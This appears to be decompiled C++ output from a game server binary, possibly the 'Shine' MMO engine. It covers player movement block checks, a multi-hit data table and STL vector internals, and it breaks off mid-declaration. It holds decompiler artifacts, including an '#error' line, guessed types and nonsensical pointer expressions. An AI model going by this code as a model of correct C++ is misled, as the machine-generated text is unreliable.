FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&briefdelete); briefdelete = &AxialListBriefDeleteAtMove::_vftable_; v5 = from; LOBYTE(v6) = 1; v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v3, from, 0, 0, (int)&briefdelete, 0, 65535); LOBYTE(v6) = 0; briefdelete = &AxialListBriefDeleteAtMove::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&briefdelete); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"); } // 64DDC0: using guessed type int (__stdcall *AxialListBriefDeleteAtMove___vftable_)(int, int, int distancesquar); //----- (004A9D70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocateFrom(void *this, int from, int locate, int distance, int div, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)) { char result; // al@2 int v7; // ebx@3 int v8; // eax@3 int v9; // ecx@3 int v10; // edi@3 signed int v11; // esi@3 int v12; // eax@3 int v13; // edi@6 int v14; // eax@6 int ycoord; // [sp+10h] [bp-30h]@3 void *v16; // [sp+14h] [bp-2Ch]@1 int v17; // [sp+18h] [bp-28h]@3 int dy; // [sp+1Ch] [bp-24h]@3 VectorClass::VectorWithLength movevector; // [sp+24h] [bp-1Ch]@1 int v20; // [sp+3Ch] [bp-4h]@1 signed int froma; // [sp+44h] [bp+4h]@4 signed int locatea; // [sp+48h] [bp+8h]@4 signed int distancea; // [sp+4Ch] [bp+Ch]@3 int diva; // [sp+50h] [bp+10h]@3 v16 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; VectorClass::VectorWithLength::VectorWithLength(&movevector, (SHINE_XY_TYPE *)from, (SHINE_XY_TYPE *)locate); LOBYTE(v20) = 1; if ( VectorClass::VectorWithLength::vwl_GetLength((int)&movevector) <= distance + 10 ) { v7 = div; *(_DWORD *)div = *(_DWORD *)from; *(_DWORD *)(div + 4) = *(_DWORD *)(from + 4); v8 = VectorClass::VectorWithLength::vwl_GetLength((int)&movevector); v9 = *(_DWORD *)from; v10 = *(_DWORD *)(from + 4); v11 = v8 / 8 + 1; v12 = *(_DWORD *)locate - *(_DWORD *)from; diva = *(_DWORD *)from; ycoord = *(_DWORD *)(from + 4); v17 = *(_DWORD *)locate - *(_DWORD *)from; dy = *(_DWORD *)(locate + 4) - v10; distancea = 1; if ( v11 < 1 ) { LABEL_9: LOBYTE(v20) = 0; VectorClass::VectorWithLength::_VectorWithLength(&movevector); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); result = 1; } else { froma = *(_DWORD *)(locate + 4) - v10; locatea = v12; while ( 1 ) { v13 = v9 + locatea / v11; v14 = *(_DWORD *)((char *)v16 + 98); if ( !v14 ) break; if ( (unsigned __int8)xcoord(*(_DWORD *)(v14 + 20), v13, ycoord + froma / v11) || (*(_DWORD *)v7 = v13, *(_DWORD *)(v7 + 4) = ycoord + froma / v11, ++distancea, locatea += v17, froma += dy, distancea > v11) ) goto LABEL_9; v9 = diva; } LOBYTE(v20) = 0; VectorClass::VectorWithLength::_VectorWithLength(&movevector); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); result = 0; } } else { LOBYTE(v20) = 0; VectorClass::VectorWithLength::_VectorWithLength(&movevector); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); result = 0; } return result; } //----- (004A9F80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_CheckBlockDuringMoving(void *this, int to) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@1 FunctionProfiler::PerformanceRecorder *v5; // ecx@2 char v7; // al@4 char *v8; // [sp-8h] [bp-1Ch]@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_CheckBlockDuringMoving"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_CheckBlockDuringMoving"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; v4 = *(_DWORD *)((char *)v2 + 98); if ( !v4 ) { funcallanalizer.fca_stackpoint = v3 - 1; v8 = "ShineObjectClass::ShinePlayer::smo_CheckBlockDuringMoving"; v5 = &_PerformanceRecorder; LABEL_3: FunctionProfiler::PerformanceRecorder::pr_Exit(v5, v8); return 0; } v7 = MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(v4 + 20), *(_DWORD *)to, *(_DWORD *)(to + 4)); --funcallanalizer.fca_stackpoint; v8 = "ShineObjectClass::ShinePlayer::smo_CheckBlockDuringMoving"; v5 = &_PerformanceRecorder; if ( v7 ) goto LABEL_3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_CheckBlockDuringMoving"); return 1; } //----- (004AA070) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineMobileObject::smo_BlockCheck(int finalx, int finaly) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BlockCheck"); return 1; } //----- (004AA0C0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(void *this, unsigned int x, unsigned int y) { void *v3; // esi@1 bool v4; // bl@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "g_MoveBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "g_MoveBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "g_MoveBlockCheck"); return v4; } //----- (004AA190) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(void *this, unsigned int x, unsigned int y) { void *v3; // esi@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "g_FindEmpty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "g_FindEmpty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "g_FindEmpty"); result = 1; } else { *((_DWORD *)v3 + 35900) = x; *((_DWORD *)v3 + 35901) = y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "g_FindEmpty"); result = 0; } return result; } //----- (004AA290) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineMobileObject::smo_StopBlockCheck() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_StopBlockCheck"); return 1; } //----- (004AA2E0) -------------------------------------------------------- #error "4AA2E0: undefined or illegal type '#615' (funcsize=297)" //----- (004AA6B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocate(void *this, int locate, int distance, int goal, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { void *v5; // esi@1 char v6; // al@1 char v7; // bl@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FindBlockLocate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = ShineObjectClass::ShineObject::so_FindBlockLocateFrom( v5, *(_DWORD *)((char *)v5 + 78), locate, distance, goal, mbi_blockfunction); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocate"); return v7; } //----- (004AA770) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_BlockCheck(void *this, unsigned int finalx, unsigned int finaly) { void *v3; // esi@1 int v4; // ecx@1 int v5; // edx@3 int v6; // eax@3 char result; // al@4 int v8; // ecx@6 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@12 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v13; // [sp+18h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_BlockCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_BlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); v13 = 0; if ( v4 ) { if ( ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(v3, finalx, finaly) ) { v8 = *(_DWORD *)((char *)v3 + 78); v9 = *(_DWORD *)v8 - *((_DWORD *)v3 + 35900); v10 = *(_DWORD *)(v8 + 4) - *((_DWORD *)v3 + 35901); if ( (unsigned int)(v9 * v9 + v10 * v10) >= 0x384 && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx + 10, finaly) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx - 10, finaly) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx, finaly + 10) && ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(v3, finalx, finaly - 10) ) { ShineObjectClass::ShineObject::so_MoveTo(v3, *((_DWORD *)v3 + 35900), *((_DWORD *)v3 + 35901), 10); MoveManager::mm_Halt((MoveManager *)((char *)v3 + 232)); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2644))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2652))(v3); v13 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } } else { v11 = *(_DWORD *)((char *)v3 + 78); *((_DWORD *)v3 + 35900) = *(_DWORD *)v11; *((_DWORD *)v3 + 35901) = *(_DWORD *)(v11 + 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); result = 1; } else { if ( *((_DWORD *)v3 + 59) != 3 ) { v5 = *((_DWORD *)v3 + 58); *((_DWORD *)v3 + 59) = 0; *((_DWORD *)v3 + 65) = 0; *((_DWORD *)v3 + 66) = 0; *((_DWORD *)v3 + 67) = 0; *((_DWORD *)v3 + 68) = 0; *((_DWORD *)v3 + 69) = 0; *((_DWORD *)v3 + 60) = 0; v6 = *(_DWORD *)(v5 + 78); *((_DWORD *)v3 + 63) = *(_DWORD *)v6; *((_DWORD *)v3 + 64) = *(_DWORD *)(v6 + 4); } (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2644))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2652))(v3); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_BlockCheck"); result = 0; } return result; } // 446BD0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (004AA990) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_StopBlockCheck(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edx@5 int v4; // eax@5 int v6; // edx@9 int v7; // eax@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 78); if ( *((_DWORD *)v1 + 35900) == *(_DWORD *)v2 && *((_DWORD *)v1 + 35901) == *(_DWORD *)(v2 + 4) ) { LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); return 1; } if ( *(_DWORD *)((char *)v1 + 98) ) { if ( ShineObjectClass::ShinePlayer::sp_MoveBlockCheck( v1, **(_DWORD **)((char *)v1 + 78), *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4)) ) { ShineObjectClass::ShineObject::so_MoveTo(v1, *((_DWORD *)v1 + 35900), *((_DWORD *)v1 + 35901), 4); if ( *((_DWORD *)v1 + 59) != 3 ) { v6 = *((_DWORD *)v1 + 58); *((_DWORD *)v1 + 59) = 0; *((_DWORD *)v1 + 65) = 0; *((_DWORD *)v1 + 66) = 0; *((_DWORD *)v1 + 67) = 0; *((_DWORD *)v1 + 68) = 0; *((_DWORD *)v1 + 69) = 0; *((_DWORD *)v1 + 60) = 0; v7 = *(_DWORD *)(v6 + 78); *((_DWORD *)v1 + 63) = *(_DWORD *)v7; *((_DWORD *)v1 + 64) = *(_DWORD *)(v7 + 4); } (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2644))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2652))(v1); } goto LABEL_11; } if ( *((_DWORD *)v1 + 59) != 3 ) { v3 = *((_DWORD *)v1 + 58); *((_DWORD *)v1 + 59) = 0; *((_DWORD *)v1 + 65) = 0; *((_DWORD *)v1 + 66) = 0; *((_DWORD *)v1 + 67) = 0; *((_DWORD *)v1 + 68) = 0; *((_DWORD *)v1 + 69) = 0; *((_DWORD *)v1 + 60) = 0; v4 = *(_DWORD *)(v3 + 78); *((_DWORD *)v1 + 63) = *(_DWORD *)v4; *((_DWORD *)v1 + 64) = *(_DWORD *)(v4 + 4); } (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2644))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2652))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); return 0; } // 446BD0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (004AAB70) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 84; return result; } //----- (004AAB90) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xF47u, 0xCFu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004AAC50) -------------------------------------------------------- void __cdecl std::fill(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Val) { MultiHitData::MultiHitElement *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x54u); } } //----- (004AAC80) -------------------------------------------------------- MultiHitData::MultiHitElement *__cdecl std::copy_backward(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Dest) { MultiHitData::MultiHitElement *v3; // edx@1 MultiHitData::MultiHitElement *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x54u); } return result; } //----- (004AACB0) -------------------------------------------------------- MultiHitData::MultiHitElement *__cdecl std::_Uninit_copy>(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { MultiHitData::MultiHitElement *v5; // edx@1 MultiHitData::MultiHitElement *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x54u); ++v5; } return result; } //----- (004AACE0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(MultiHitData::MultiHitElement *_First, unsigned int _Count, MultiHitData::MultiHitElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x54u); v6 = (char *)v6 + 84; --v5; } while ( v5 ); } } //----- (004AAD10) -------------------------------------------------------- MultiHitData::MultiHitElement *__thiscall MultiHitData::MultiHitTable::operator__(MultiHitData::MultiHitTable *this, unsigned __int16 sub) { MultiHitData::MultiHitTable *v2; // edi@1 MultiHitData::MultiHitElement *v3; // esi@1 int v4; // eax@2 FunctionProfiler::PerformanceRecorder *v5; // ecx@5 MultiHitData::MultiHitElement *v7; // esi@7 bool v8; // zf@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MultiHitData::MultiHitTable::operator [](WORD sub)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MultiHitData::MultiHitTable::operator [](WORD sub)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->mht_Array._Myfirst; if ( v3 ) v4 = v2->mht_Array._Mylast - v3; else v4 = 0; if ( sub >= (unsigned int)v4 ) { --funcallanalizer.fca_stackpoint; v5 = &_PerformanceRecorder; LABEL_6: FunctionProfiler::PerformanceRecorder::pr_Exit(v5, "MultiHitData::MultiHitTable::operator [](WORD sub)"); return 0; } v7 = &v3[sub]; v8 = v7->mhe_ID == sub; --funcallanalizer.fca_stackpoint; v5 = &_PerformanceRecorder; if ( !v8 ) goto LABEL_6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MultiHitData::MultiHitTable::operator [](WORD sub)"); return v7; } //----- (004AAE00) -------------------------------------------------------- MultiHitData::MultiHitElement *__thiscall std::vector>::_Ufill(std::vector > *this, MultiHitData::MultiHitElement *_Ptr, unsigned int _Count, MultiHitData::MultiHitElement *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004AAE30) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 MultiHitData::MultiHitElement *v5; // ebx@2 std::vector >::iterator v6; // edx@2 const void *v7; // esi@3 void *v8; // edi@3 std::vector >::iterator *v9; // eax@5 v4 = _Last; if ( _First != _Last ) { v5 = this->_Mylast; v6 = _First; if ( (MultiHitData::MultiHitElement *)_Last != v5 ) { do { v7 = (const void *)v4; v8 = (void *)v6; *(_DWORD *)&v4 += 84; *(_DWORD *)&v6 += 84; memcpy(v8, v7, 0x54u); } while ( (MultiHitData::MultiHitElement *)v4 != v5 ); } this->_Mylast = (MultiHitData::MultiHitElement *)v6; } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; return v9; } //----- (004AAE80) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004AAEF0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MultiHitData::MultiHitElement *_Val) { std::vector > *v4; // ebx@1 MultiHitData::MultiHitElement *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 unsigned int v8; // esi@4 int v9; // eax@6 int v10; // eax@11 int v11; // edi@15 int v12; // eax@18 MultiHitData::MultiHitElement *v13; // ST14_4@22 MultiHitData::MultiHitElement *v14; // ecx@22 int v15; // eax@23 int v16; // esi@25 MultiHitData::MultiHitElement *v17; // edx@26 MultiHitData::MultiHitElement *v18; // eax@26 MultiHitData::MultiHitElement *v19; // ecx@30 std::vector >::iterator v20; // edi@30 MultiHitData::MultiHitElement *v21; // ecx@31 MultiHitData::MultiHitElement *v22; // ST20_4@31 unsigned int v23; // esi@31 int v24; // [sp+0h] [bp-70h]@1 MultiHitData::MultiHitElement _Tmp; // [sp+Ch] [bp-64h]@1 int *v26; // [sp+60h] [bp-10h]@1 int v27; // [sp+6Ch] [bp-4h]@22 MultiHitData::MultiHitElement *_Wherea; // [sp+78h] [bp+8h]@32 MultiHitData::MultiHitElement *_Ptr; // [sp+7Ch] [bp+Ch]@22 void *_Newvec; // [sp+80h] [bp+10h]@22 MultiHitData::MultiHitElement *_Newveca; // [sp+80h] [bp+10h]@30 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v26 = &v24; if ( v5 ) { v7 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[498].esc_abstate.buffer[-v9 + 18611] < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = v4->_Mylast; v20 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 84 >= _Count ) { _Wherea = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 84 * _Count)); std::copy_backward( *(MultiHitData::MultiHitElement **)&v20, _Wherea, _Newveca); std::fill( *(MultiHitData::MultiHitElement **)&v20, (MultiHitData::MultiHitElement *)(*(_DWORD *)&v20 + 84 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(MultiHitData::MultiHitElement **)&_Where, v19, (MultiHitData::MultiHitElement *)(*(_DWORD *)&_Where + 84 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(84 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v27 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 84, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (MultiHitData::MultiHitElement *)v23; std::fill( *(MultiHitData::MultiHitElement **)&_Where, (MultiHitData::MultiHitElement *)(v23 - 84 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[498].esc_abstate.buffer[-(v6 >> 1) + 18611] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Newvec = operator new(84 * v11); v13 = v4->_Myfirst; v27 = 0; _Ptr = std::_Uninit_copy>( v13, *(MultiHitData::MultiHitElement **)&_Where, (MultiHitData::MultiHitElement *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(MultiHitData::MultiHitElement **)&_Where, v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + v8; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v4->_Myend = (MultiHitData::MultiHitElement *)((char *)_Newvec + 84 * v11); v4->_Mylast = (MultiHitData::MultiHitElement *)((char *)_Newvec + 84 * v16); v4->_Myfirst = (MultiHitData::MultiHitElement *)_Newvec; } } } //----- (004AB1C0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, MultiHitData::MultiHitElement _Val) { MultiHitData::MultiHitElement *v3; // edi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (004AB260) -------------------------------------------------------- void __thiscall MultiHitData::MultiHitTable::mht_Load(MultiHitData::MultiHitTable *this) { MultiHitData::MultiHitTable *v1; // ebx@1 unsigned int v2; // esi@1 __int16 v3; // dx@1 signed int v4; // edi@1 void *v5; // eax@3 void *v6; // eax@7 char *v7; // eax@11 signed int v8; // ecx@11 unsigned int v9; // eax@13 void *v10; // esi@17 MultiHitData::MultiHitElement *v11; // edi@19 int v12; // ecx@20 signed int v13; // edx@21 int v14; // eax@23 int v15; // edx@25 unsigned __int16 v16; // cx@28 unsigned __int16 v17; // cx@29 unsigned int v18; // edi@30 char v19; // cl@33 int v20; // edi@33 unsigned __int16 v21; // cx@37 unsigned __int16 v22; // cx@38 unsigned int v23; // edi@39 char v24; // cl@42 int v25; // edi@42 unsigned __int16 v26; // cx@46 unsigned __int16 v27; // cx@47 unsigned int v28; // edi@48 char v29; // cl@51 int v30; // edi@51 unsigned __int16 v31; // cx@55 unsigned __int16 v32; // cx@56 unsigned int v33; // edi@57 char v34; // cl@60 int v35; // edi@60 unsigned __int16 v36; // 